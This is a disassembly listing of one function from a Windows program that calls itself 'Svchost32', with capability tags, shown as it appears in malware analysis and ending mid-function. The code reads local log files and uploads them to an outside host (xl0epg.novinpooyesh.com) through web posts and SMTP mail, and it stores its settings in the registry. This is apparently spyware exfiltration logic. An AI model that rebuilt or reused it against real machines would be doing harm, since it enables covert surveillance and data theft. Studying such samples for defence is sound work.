Function at 0x40d690
Capabilities:
Check mutex on windows
Get file size
Get hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x24a4]
mov eax, 0x24a4
call fcn.00413280
push 0xffffffffffffffff
push 0x485eff
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x4b1598]
xor eax, ebp
mov dword [ebp + 0x24a0], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ecx, dword [str.smtp.mail.com]
mov edx, dword [0x488e94]
mov eax, dword [ebp + 0x24b0]
push 0x88
mov dword [ebp + 0x203c], edx
mov dword [ebp - 0x1c], eax
mov eax, dword [0x488e98]
mov dword [ebp + 0x2038], ecx
mov cx, word [0x488e9c]
lea edx, [ebp + 0x2046]
push 0
push edx
mov dword [ebp + 0x2040], eax
mov word [ebp + 0x2044], cx
call fcn.00410e00
movzx ecx, byte [0x488e8c]
mov eax, dword [str.2525]
push 0x91
lea edx, [ebp + 0x1af9]
push 0
push edx
mov dword [ebp + 0x1af4], eax
mov byte [ebp + 0x1af8], cl
call fcn.00410e00
mov eax, dword [str.email_mail.com]
mov ecx, dword [0x488e7c]
mov edx, dword [0x488e80]
mov dword [ebp + 0x1fa0], eax
movzx eax, word [0x488e84]
mov dword [ebp + 0x1fa4], ecx
movzx ecx, byte [0x488e86]
push 0x87
mov dword [ebp + 0x1fa8], edx
lea edx, [ebp + 0x1faf]
push 0
push edx
mov word [ebp + 0x1fac], ax
mov byte [ebp + 0x1fae], cl
call fcn.00410e00
mov eax, dword [str.password]
mov ecx, dword [0x488e70]
mov dl, byte [0x488e74]
push 0x8d
mov dword [ebp + 0x1cb8], eax
lea eax, [ebp + 0x1cc1]
push 0
push eax
mov dword [ebp + 0x1cbc], ecx
mov byte [ebp + 0x1cc0], dl
call fcn.00410e00
mov ecx, dword [str.Svchost32_Report.]
mov edx, dword [0x488e5c]
mov eax, dword [0x488e60]
mov dword [ebp + 0x1ed8], ecx
mov ecx, dword [0x488e64]
push 0xb5
mov dword [ebp + 0x1ee4], ecx
mov dword [ebp + 0x1edc], edx
mov dx, word [0x488e68]
mov dword [ebp + 0x1ee0], eax
mov al, byte [0x488e6a]
lea ecx, [ebp + 0x1eeb]
push 0
push ecx
mov word [ebp + 0x1ee8], dx
mov byte [ebp + 0x1eea], al
call fcn.00410e00
mov ecx, 0xd
mov esi, str.Sent_automatically___to_stop_it_configure_Svchost32.
lea edi, [ebp + 0x1b8c]
rep movsd dword es:[edi], dword [esi]
push 0x2e
lea edx, [ebp + 0x1bc2]
push 0
push edx
movsw word es:[edi], word [esi]
call fcn.00410e00
add esp, 0x48
push 0x40cdf0
call fcn.00413432
movzx eax, word [0x488e1c]
movzx ecx, byte [0x488e1e]
push 0x2f
lea edx, [ebp + 0x243b]
push 0
push edx
mov word [ebp + 0x2438], ax
mov byte [ebp + 0x243a], cl
call fcn.00410e00
mov ebx, dword [ebp + 0x24ac]
add esp, 0x10
lea eax, [ebp - 0x2c]
cmp ebx, 4
push eax
mov dword [ebp - 0x30], 0x28
setg byte [ebp - 0x16]
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x20]
movzx edx, word [ebp - 0x22]
movzx eax, word [ebp - 0x24]
push ecx
movzx ecx, word [ebp - 0x26]
push edx
push eax
push ecx
lea edx, [ebp + 0x1d50]
push str._02d____02d:_02d:_02d
push edx
call fcn.00411b16
push 1
lea eax, [ebp + 0x1d50]
push eax
push str.input_params___s_._attepmt__d
call fcn.0040d100
mov edi, dword [ebp - 0x1c]
add esp, 0x24
xor esi, esi
test ebx, ebx
jle 0x40d909
jmp 0x40d8f0
mov ecx, dword [edi + esi*4]
push ecx
push esi
push str.__i___s
call fcn.0040d100
add esi, 1
add esp, 0xc
cmp esi, ebx
jl 0x40d8f0
push 0x488dd8
call fcn.004130e1
add esp, 4
cmp ebx, 4
jge 0x40d98d
push str._n_n_report.exe_recipient_mail.com_smtp.mail.com:80__passw___web_post___attach_
call fcn.004130e1
push str._noptions_:_n
call fcn.004130e1
push str.___filename___file_with_full_path_to_send_as_message__text___n
call fcn.004130e1
push str.__attach______files_to_atach__base64__n
call fcn.004130e1
push str._programm_output:__responces_of_SMTP_server_n__errorlevel1_if_succes__n
call fcn.004130e1
push str._examples:_n
call fcn.004130e1
push str.dshost.exe_to_mail.com__Re:_Subj___message___attach.zip_n
call fcn.004130e1
push str.dshost.exe_to_mail.com____message.txt_attch1.zip_attch2.doc_n
call fcn.004130e1
push str._n
call fcn.004130e1
push ebx
push str.Svchost32_uploader_tool__www.Svchost32.net____d__n
call fcn.004130e1
add esp, 0x2c
mov eax, 0xa
jmp 0x40f1e9
mov eax, dword [edi + 0xc]
push str.web_create_id
push eax
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40df21
push 0xc7
lea edx, [ebp + 0x20d1]
push 0
push edx
mov byte [ebp + 0x20d0], 0
call fcn.00410e00
push 0xc7
lea eax, [ebp + 0x1bf1]
push 0
push eax
mov byte [ebp + 0x1bf0], 0
call fcn.00410e00
push 0xc7
lea ecx, [ebp + 0x1e11]
push 0
push ecx
mov byte [ebp + 0x1e10], 0
call fcn.00410e00
push 0xbe
lea edx, [ebp + 0x20d0]
push edx
push str.UploadURL
push str.SOFTWARESvchost32
push connect
call fcn.00401d80
lea eax, [ebp + 0x20d0]
add esp, 0x38
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40da20
sub eax, edx
jne 0x40da44
mov ecx, 9
mov esi, str.http:__xl0epg.novinpooyesh.com_device_
lea edi, [ebp + 0x20d0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40da74
lea eax, [ebp + 0x20d0]
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40da50
mov ecx, dword [str._device_]
mov edx, dword [0x488b80]
mov dword [eax], ecx
mov cl, byte [0x488b84]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
mov esi, dword [ebp - 0x1c]
mov eax, dword [esi + 4]
lea edx, [ebp + 0x1bf0]
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
add eax, 1
test cl, cl
jne 0x40da82
mov eax, dword [esi + 8]
lea edx, [ebp + 0x1e10]
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [eax + edx], cl
add eax, 1
test cl, cl
jne 0x40daa0
push 0xbe
lea edx, [ebp + 0x21fc]
push edx
push 0xffffffffffffffff
lea eax, [ebp + 0x1e10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xbe
lea ecx, [ebp + 0x1e10]
push ecx
push 0xffffffffffffffff
lea edx, [ebp + 0x21fc]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x1e10]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40db00
sub eax, edx
push eax
lea eax, [ebp + 0x1e10]
push eax
call fcn.0040ce00
push 0xdc
push eax
lea ecx, [ebp + 0x19f8]
push ecx
call fcn.00411ba0
push 0x39fe18
call fcn.004111f3
add esp, 0x18
mov dword [ebp - 0x14], eax
test eax, eax
mov dword [ebp - 4], 0
je 0x40db50
mov ecx, eax
call fcn.0040b1d0
mov esi, eax
jmp 0x40db52
xor esi, esi
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040ad70
push 0
push 0
push 0x487c3a
push str.device
mov ecx, esi
call fcn.0040b2d0
push 0
push 0
push str.add_dev
push str.content
mov ecx, esi
call fcn.0040b2d0
push 0
push 0
lea edx, [ebp + 0x1bf0]
push edx
push str.email
mov ecx, esi
call fcn.0040b2d0
push 0
push 0
lea eax, [ebp + 0x19f8]
push eax
push str.DeviceName
mov ecx, esi
call fcn.0040b2d0
call fcn.00402090
mov ecx, eax
lea edi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x40dbc2
push 0
sub ecx, edi
push 0
mov ecx, esi
je 0x40dbd8
push eax
jmp 0x40dbdd
push str.Windows
push str.client_ver
call fcn.0040b2d0
push 0
push 0
push str.5.7.2
push str.app_ver
mov ecx, esi
call fcn.0040b2d0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x20]
movzx eax, word [ebp - 0x22]
movzx ecx, word [ebp - 0x24]
push edx
movzx edx, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2a]
push ecx
movzx ecx, word [ebp - 0x26]
push edx
push eax
push ecx
lea edx, [ebp + 0x1d50]
push str._02d__02d__d__02d:_02d:_02d
push edx
call fcn.00411b16
add esp, 0x20
push 0
push 0
lea eax, [ebp + 0x1d50]
push eax
push str.client_date_time
mov ecx, esi
call fcn.0040b2d0
lea ecx, [ebp + 0x20d0]
push ecx
lea edx, [ebp + 0x1d50]
push edx
push str.Create_Dev_Request...__s___s_
call fcn.0040d100
mov eax, dword [str.Svchost32.5.7.5._WIN.]
mov dword [esi + 8], eax
mov ecx, dword [0x488ac8]
mov dword [esi + 0xc], ecx
mov edx, dword [0x488acc]
mov dword [esi + 0x10], edx
mov eax, dword [0x488ad0]
mov dword [esi + 0x14], eax
mov ecx, dword [0x488ad4]
add esp, 0xc
push str.Svchost32.WIN_5.6__p_
mov dword [esi + 0x18], ecx
mov dx, word [0x488ad8]
push 2
lea eax, [ebp + 0x20d0]
push eax
mov ecx, esi
mov word [esi + 0x1c], dx
call fcn.0040ac40
test eax, eax
je 0x40def1
push 0x488aa8
call fcn.0040d100
add esp, 4
mov ecx, esi
call fcn.00409da0
push 0xbb7
lea ecx, [ebp + 0xdad]
push 0
push ecx
mov edi, eax
mov byte [ebp + 0xdac], 0
call fcn.00410e00
push 0x122
lea edx, [ebp + 0xdac]
push edi
push edx
call fcn.00411ba0
lea eax, [ebp + 0xdac]
push eax
call fcn.0040d100
lea ecx, [ebp + 0xdac]
push 0x488aa4
push ecx
call fcn.004118f0
add esp, 0x24
test eax, eax
jne 0x40dd39
push 0x488aa0
push edi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40de4b
push str.Sent_successfully__
call fcn.0040d100
lea edx, [ebp + 0xdac]
push edx
call fcn.0040d100
lea eax, [ebp + 0xdac]
push str.DSN:
push eax
call fcn.004118f0
push 0x63
lea ecx, [ebp + 0x23d5]
push 0
push ecx
mov esi, eax
mov byte [ebp + 0x23d4], 0
call fcn.00410e00
add esp, 0x1c
test esi, esi
je 0x40dd9c
lea eax, [esi + 4]
lea edx, [ebp + 0x23d4]
sub edx, eax
jmp 0x40dd90
mov cl, byte [eax]
mov byte [eax + edx], cl
add eax, 1
test cl, cl
jne 0x40dd90
lea edx, [ebp + 0x23d4]
push edx
push str.Wordpad
push str.SoftwareSvchost32
push connect
call fcn.00401f20
add esp, 0x10
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax + 0x23d4]
mov byte [ebp + eax + 0xbb8], cl
add eax, 1
test cl, cl
jne 0x40ddc0
lea eax, [ebp + 0xbb8]
add eax, 0xffffffff
mov edi, edi
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40dde0
mov ecx, dword [str._Report_web_post]
mov edx, dword [0x488a54]
mov dword [eax], ecx
mov ecx, dword [0x488a58]
mov dword [eax + 4], edx
mov edx, dword [0x488a5c]
mov dword [eax + 8], ecx
mov cx, word [0x488a60]
mov dword [eax + 0xc], edx
lea edx, [ebp + 0xbb8]
push edx
push str.RaSampleNumber
push str.SoftwareSvchost32
push connect
mov word [eax + 0x10], cx
call fcn.00401f20
push edi
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x20
lea eax, [ebp + 0xdac]
push 0x488a2c
push eax
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40df17
lea ecx, [ebp + 0xdac]
push ecx
call fcn.0040d100
lea edi, [ebp + 0xdac]
add esp, 4
add edi, 0xffffffff
nop
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x40de80
mov dx, word [0x488a28]
lea eax, [ebp + 0x20d0]
mov word [edi], dx
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40dea0
lea edi, [ebp + 0xdac]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40deb4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp + 0xdac]
push eax
push str.web_post_error
and ecx, 3
push str.SOFTWARESvchost32
push connect
rep movsb byte es:[edi], byte [esi]
call fcn.00401f20
add esp, 0x10
jmp 0x40f1e7
push str.Connection_error
call fcn.0040d100
push str.Connection_Error
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x14
push str.done_n_n
jmp 0x40f1df
mov eax, dword [edi + 0xc]
push str.web_get_settings
push eax
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e301
push 0
push str.dev_not_found
push str.SOFTWARESvchost32
push connect
call fcn.00401e40
add esp, 0x10
cmp eax, 0xa
jle 0x40df83
push str.device_not_found_error_many_times.
call fcn.0040d100
push str.Device_id_not_found._Or_software_is_outdated._stop_sending_logs
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x14
jmp 0x40f1e7
push 0xc7
lea ecx, [ebp + 0x20d1]
push 0
push ecx
mov byte [ebp + 0x20d0], 0
call fcn.00410e00
push 0xc7
lea edx, [ebp + 0x1bf1]
push 0
push edx
mov byte [ebp + 0x1bf0], 0
call fcn.00410e00
push 0xbe
lea eax, [ebp + 0x20d0]
push eax
push str.UploadURL
push str.SOFTWARESvchost32
push connect
call fcn.00401d80
lea eax, [ebp + 0x20d0]
add esp, 0x2c
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40dfe3
sub eax, edx
jne 0x40e007
mov ecx, 9
mov esi, str.http:__xl0epg.novinpooyesh.com_config_
lea edi, [ebp + 0x20d0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
jmp 0x40e034
lea eax, [ebp + 0x20d0]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x40e010
mov ecx, dword [str._config_]
mov edx, dword [0x48893c]
mov dword [eax], ecx
mov cl, byte [0x488940]
mov dword [eax + 4], edx
mov byte [eax + 8], cl
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
lea edx, [ebp + 0x1bf0]
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
add eax, 1
test cl, cl
jne 0x40e042
push 0x39fe18
call fcn.004111f3
add esp, 4
mov dword [ebp - 0x14], eax
test eax, eax
mov dword [ebp - 4], 1
je 0x40e074
mov ecx, eax
call fcn.0040b1d0
mov esi, eax
jmp 0x40e076
xor esi, esi
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.0040ad70
push 0
push 0
lea eax, [ebp + 0x1bf0]
push eax
push str.device
mov ecx, esi
call fcn.0040b2d0
push 0
push 0
push str.get_dev_config
push str.content
mov ecx, esi
call fcn.0040b2d0
call fcn.00402090
mov ecx, eax
lea edi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x40e0c0
push 0
sub ecx, edi
push 0
mov ecx, esi
je 0x40e0d6
push eax
jmp 0x40e0db
push str.Windows
push str.client_ver
call fcn.0040b2d0
push 0
push 0
push str.5.7.2
push str.app_ver
mov ecx, esi
call fcn.0040b2d0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x20]
movzx eax, word [ebp - 0x22]
movzx ecx, word [ebp - 0x24]
push edx
movzx edx, word [ebp - 0x2c]
push eax
movzx eax, word [ebp - 0x2a]
push ecx
movzx ecx, word [ebp - 0x26]
push edx
push eax
push ecx
lea edx, [ebp + 0x1d50]
push str._02d__02d__d__02d:_02d:_02d
push edx
call fcn.00411b16
add esp, 0x20
push 0
push 0
lea eax, [ebp + 0x1d50]
push eax
push str.client_date_time
mov ecx, esi
call fcn.0040b2d0
lea ecx, [ebp + 0x20d0]
push ecx
lea edx, [ebp + 0x1d50]
push edx
push str.Get_Config_Request...__s___s_
call fcn.0040d100
mov eax, dword [str.Svchost32.5.7.5._WIN.]
mov dword [esi + 8], eax
mov ecx, dword [0x488ac8]
mov dword [esi + 0xc], ecx
mov edx, dword [0x488acc]
mov dword [esi + 0x10], edx
mov eax, dword [0x488ad0]
mov dword [esi + 0x14], eax
mov ecx, dword [0x488ad4]
add esp, 0xc
push str.Svchost32.WIN_5.6__p_
mov dword [esi + 0x18], ecx
mov dx, word [0x488ad8]
push 2
lea eax, [ebp + 0x20d0]
push eax
mov ecx, esi
mov word [esi + 0x1c], dx
call fcn.0040ac40
test eax, eax
je 0x40def1
mov ecx, esi
call fcn.00409da0
push 0xbb7
lea ecx, [ebp + 0xdad]
push 0
push ecx
mov esi, eax
mov byte [ebp + 0xdac], 0
call fcn.00410e00
push 0x122
lea edx, [ebp + 0xdac]
push esi
push edx
call fcn.00411ba0
lea eax, [ebp + 0xdac]
push eax
call fcn.0040d100
lea ecx, [ebp + 0xdac]
push 0x488904
push ecx
call fcn.004118f0
add esp, 0x24
test eax, eax
jne 0x40e226
push 0x488900
push esi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e260
push str.Sent_successfully__
call fcn.0040d100
lea edx, [ebp + 0xdac]
push edx
call fcn.0040d100
lea eax, [ebp + 0xdac]
push eax
call fcn.0040d370
push esi
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x1c
lea ecx, [ebp + 0xdac]
push 0x488a2c
push ecx
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40df17
lea edx, [ebp + 0xdac]
push edx
call fcn.0040d100
lea edi, [ebp + 0xdac]
add esp, 4
add edi, 0xffffffff
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x40e294
mov ax, word [0x488a28]
mov word [edi], ax
lea eax, [ebp + 0x20d0]
mov edx, eax
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40e2b0
lea edi, [ebp + 0xdac]
sub eax, edx
add edi, 0xffffffff
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40e2c4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp + 0xdac]
push ecx
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x10
jmp 0x40f1e7
mov edi, dword [edi + 0xc]
push str.web_post
push edi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40ecfa
push 0
push str.dev_not_found
push str.SOFTWARESvchost32
push connect
mov dword [ebp - 4], 2
call fcn.00401e40
add esp, 0x10
cmp eax, 0xa
jle 0x40e36d
push str.device_not_found_error_many_times.
call fcn.0040d100
add esp, 4
push str.Device_id_not_found._Or_software_is_outdated._stop_sending_logs
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x10
jmp 0x40f1e7
push 0x1f3
lea edx, [ebp + 0x2199]
push 0
push edx
mov byte [ebp + 0x2198], 0
call fcn.00410e00
push 0xc7
lea eax, [ebp + 0x1e11]
push 0
push eax
mov byte [ebp + 0x1e10], 0
call fcn.00410e00
push 0xbe
lea ecx, [ebp + 0x1e10]
push ecx
push str.UploadURL
push str.SOFTWARESvchost32
push connect
call fcn.00401d80
lea eax, [ebp + 0x1e10]
add esp, 0x2c
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40e3d0
sub eax, edx
jne 0x40e3ef
mov ecx, 8
mov esi, str.http:__xl0epg.novinpooyesh.com_
lea edi, [ebp + 0x1e10]
rep movsd dword es:[edi], dword [esi]
cmp ebx, 4
mov edi, dword [ebp - 0x1c]
jle 0x40e40e
mov ecx, dword [edi + 0x10]
lea edx, [ebp + 0x2198]
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
add edx, 1
test al, al
jne 0x40e400
lea edx, [ebp + 0x2198]
push str..htm
push edx
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e482
push str.Svchost32ReportMutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40e45b
push str.One_more_copy_of_report_exe_is_running_0.
call fcn.0040d100
add esp, 4
mov eax, 1
jmp 0x40f1e9
push 0x2710
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40e482
push str.One_more_copy_of_report_exe_is_running.
call fcn.0040d100
add esp, 4
mov eax, 1
jmp 0x40f1e9
cmp ebx, 6
jle 0x40e498
mov eax, dword [edi + 0xc]
push str.web_post_clear
push eax
call fcn.004118f0
add esp, 8
push 0x39fe18
call fcn.004111f3
mov ecx, eax
add esp, 4
mov dword [ebp - 0x14], ecx
test ecx, ecx
mov byte [ebp - 4], 3
je 0x40e4bb
call fcn.0040b1d0
mov ebx, eax
jmp 0x40e4bd
xor ebx, ebx
mov ecx, ebx
mov byte [ebp - 4], 2
call fcn.0040ad70
mov eax, dword [edi + 4]
push 0
push 0
push eax
push str.device
mov ecx, ebx
call fcn.0040b2d0
push 0x31
lea ecx, [ebp + 0x246d]
push 0
push ecx
mov byte [ebp + 0x246c], 0
call fcn.00410e00
lea edx, [ebp + 0x2198]
push str..jpg
push edx
call fcn.004118f0
add esp, 0x14
test eax, eax
je 0x40e515
mov dword [ebp + 0x246c], 0x47504a
lea eax, [ebp + 0x2198]
push str..htm
push eax
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e545
mov ecx, dword [str.HTML]
mov dl, byte [0x488854]
mov dword [ebp + 0x246c], ecx
mov byte [ebp + 0x2470], dl
lea eax, [ebp + 0x2198]
push str..mp3
push eax
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e567
mov dword [ebp + 0x246c], 0x33504d
lea ecx, [ebp + 0x2198]
push str.test_upload
push ecx
call fcn.004118f0
add esp, 8
test eax, eax
push 0
mov ecx, ebx
push 0
je 0x40e5a0
push str.HTML
push str.content
call fcn.0040b2d0
mov dword [ebp + 0x246c], 0x747874
jmp 0x40e5b1
lea edx, [ebp + 0x246c]
push edx
push str.content
call fcn.0040b2d0
mov eax, dword [str.rejected_]
mov ecx, dword [0x48883c]
mov dx, word [0x488840]
push 0x3c
mov dword [ebp + 0x238c], eax
lea eax, [ebp + 0x2396]
push 0
push eax
mov dword [ebp + 0x2390], ecx
mov word [ebp + 0x2394], dx
call fcn.00410e00
push 0x45
lea ecx, [ebp + 0x23f1]
push 0
push ecx
mov byte [ebp + 0x23f0], 0
call fcn.00410e00
lea eax, [ebp + 0x246c]
add esp, 0x18
mov ecx, eax
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40e608
lea edi, [ebp + 0x238c]
sub eax, ecx
mov esi, ecx
add edi, 0xffffffff
mov edi, edi
mov cl, byte [edi + 1]
add edi, 1
test cl, cl
jne 0x40e620
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x3c
mov ecx, eax
lea edx, [ebp + 0x23f0]
push edx
lea eax, [ebp + 0x238c]
push eax
and ecx, 3
push str.SOFTWARESvchost32
push connect
rep movsb byte es:[edi], byte [esi]
call fcn.00401d80
lea eax, [ebp + 0x23f0]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40e663
sub eax, edx
je 0x40e6d9
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [ebp - 0x2c]
movzx eax, word [ebp - 0x2a]
movzx ecx, word [ebp - 0x26]
push edx
push eax
push ecx
lea edx, [ebp + 0x1d50]
push str._02d__02d__d
push edx
call fcn.00411b16
lea eax, [ebp + 0x23f0]
push eax
lea ecx, [ebp + 0x1d50]
push ecx
call fcn.00422d50
add esp, 0x1c
test eax, eax
jne 0x40e6be
push str.skip_file._rejected
jmp 0x40f1df
push 0
lea edx, [ebp + 0x238c]
push edx
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x10
call fcn.00402090
mov ecx, eax
lea esi, [ecx + 1]
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x40e6e3
push 0
sub ecx, esi
push 0
mov ecx, ebx
je 0x40e6f9
push eax
jmp 0x40e6fe
push str.Windows
push str.client_ver
call fcn.0040b2d0
push 0
push 0
push str.5.7.5
push str.app_ver
mov ecx, ebx
call fcn.0040b2d0
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x20]
movzx edx, word [ebp - 0x22]
movzx eax, word [ebp - 0x24]
push ecx
movzx ecx, word [ebp - 0x2c]
push edx
movzx edx, word [ebp - 0x2a]
push eax
movzx eax, word [ebp - 0x26]
push ecx
push edx
push eax
lea ecx, [ebp + 0x1d50]
push str._02d__02d__d__02d:_02d:_02d
push ecx
call fcn.00411b16
add esp, 0x20
push 0
push 0
lea edx, [ebp + 0x1d50]
push edx
push str.client_date_time
mov ecx, ebx
call fcn.0040b2d0
lea eax, [ebp + 0x246c]
push eax
lea ecx, [ebp + 0x2198]
push ecx
call fcn.0040ce60
add esp, 8
lea edx, [ebp + 0x2198]
push 0
push edx
mov dword [ebp - 0x14], eax
call fcn.00411d97
add esp, 8
test eax, eax
je 0x40e7f7
lea eax, [ebp + 0x2198]
push eax
push str.wait_for__s
call fcn.0040d100
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0xfa0
call esi
lea ecx, [ebp + 0x2198]
push 0
push ecx
call fcn.00411d97
add esp, 8
test eax, eax
je 0x40e7db
push 0xfa0
call esi
lea edx, [ebp + 0x2198]
push 0
push edx
call fcn.00411d97
add esp, 8
test eax, eax
je 0x40e7f7
push 0xfa0
call esi
push 0
push 0x80
push 3
push 0
push 3
push 0x80
lea eax, [ebp + 0x2198]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40e859
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp + 0x2198]
push ecx
push str.error_Open:__s__GLE:_d_
call fcn.0040d100
add esp, 0xc
push str.Error_while_opening_Log_file
push str.web_post_error
push str.SOFTWARESvchost32
push connect
call fcn.00401f20
add esp, 0x10
jmp 0x40f1e7
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push str.file_size__d
call fcn.0040d100
mov esi, dword [ebp - 0x14]
add esp, 8
cmp esi, edi
je 0x40f1e7
push esi
push 1
lea edx, [ebp + 0x2198]
push edx
push str.file
mov ecx, ebx
call fcn.0040b2d0
lea eax, [ebp + 0x1e10]
push eax
push edi
push esi
lea ecx, [ebp + 0x1d50]
push ecx
push str.Begin_Request...__s_last_pos:_d_size:_d___s_
call fcn.0040d100
add esp, 0x14
push 0x6a3
lea edx, [ebp + 0x12c1]
push 0
push edx
mov byte [ebp + 0x12c0], 0
call fcn.00410e00
mov eax, dword [ebp - 0x1c]
lea edx, [ebx + 8]
mov ecx, 6
mov esi, str.Svchost32.5.7.3._WIN._ID:
mov edi, edx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [eax + 4]
add esp, 0xc
mov esi, eax
nop
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40e8f0
sub eax, esi
add edx, 0xffffffff
mov edi, edi
mov cl, byte [edx + 1]
add edx, 1
test cl, cl
jne 0x40e900
mov ecx, eax
shr ecx, 2
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push str.Svchost32.WIN_5.6__p_
rep movsb byte es:[edi], byte [esi]
push 3
lea ecx, [ebp + 0x1e10]
push ecx
mov ecx, ebx
call fcn.0040ac40
test eax, eax
je 0x40ec78
mov ecx, ebx
call fcn.00409da0
push 0xbb7
lea edx, [ebp + 1]
push 0
push edx
mov esi, eax
mov byte [ebp], 0
call fcn.00410e00
push 0x122
lea eax, [ebp]
push esi
push eax
call fcn.00411ba0
lea ecx, [ebp]
push ecx
call fcn.0040d100
add esp, 0x1c
push 0x488aa4
push esi
call fcn.004118f0
add esp, 8
test eax, eax
jne 0x40e993
push 0x488aa0
push esi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e9e3
mov edx, dword [ebx + 4]
push edx
lea eax, [ebp + 0x246c]
push eax
push 0x487c3a
call fcn.0040d030
mov ecx, dword [ebx + 4]
add esp, 0xc
push ecx
push str.Sent_successfully___up_to__d
call fcn.0040d100
add esp, 8
push esi
call fcn.0040d100
add esp, 4
push str.LOG_CONFIG:
push esi
call fcn.004118f0
add esp, 8
test eax, eax
je 0x40e9e3
lea edx, [ebp]
push edx
call fcn.0040d370
add esp, 4
push str.BAD_DEV.
push esi
call fcn.004118f0
add esp, 8
test eax, eax
jne 0x40ec08
push str.not_found
push esi
call fcn.004118f0
add esp, 8
test eax, eax
